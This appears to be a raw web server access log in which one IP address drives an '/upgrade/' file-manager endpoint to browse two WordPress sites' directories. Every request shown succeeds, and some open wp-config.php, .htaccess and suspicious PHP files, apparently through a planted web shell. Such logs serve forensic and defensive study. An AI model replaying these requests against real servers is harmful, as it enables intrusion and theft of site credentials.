45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F.well-known HTTP/1.1" 200 6045 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fwp-admin HTTP/1.1" 200 13132 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 16452 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 9448 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 20945 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 11787 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7932 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F&option=folder HTTP/1.1" 200 8335 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fcgi-bin HTTP/1.1" 200 5788 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 9585 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 11912 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 10648 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5789 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F&option=dir HTTP/1.1" 200 8333 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter HTTP/1.1" 200 6436 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 8628 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 10712 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 9672 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 25731 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:38 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fwp-content HTTP/1.1" 200 6782 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:39 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fwp-includes HTTP/1.1" 200 26193 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:39 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 10251 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:39 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7959 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:39 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8975 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:39 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F&option=dir HTTP/1.1" 200 8327 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:39 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 9204 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:39 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 10703 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:39 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F&option=folder HTTP/1.1" 200 8329 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:39 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Fwp-content HTTP/1.1" 200 6597 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:39 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Fwp-includes HTTP/1.1" 200 25477 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:39 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F&option=file HTTP/1.1" 200 8326 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:39 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 52607 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:39 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 11946 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 9957 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5791 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F.well-known HTTP/1.1" 200 6045 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 16517 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 9579 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 10160 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 16071 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw&location=%2F HTTP/1.1" 200 7858 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Fcgi-bin HTTP/1.1" 200 5797 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 10255 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 8331 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Fupgrade HTTP/1.1" 200 6564 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Fwp-admin HTTP/1.1" 200 13047 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 8606 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:40 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 9845 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 10626 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
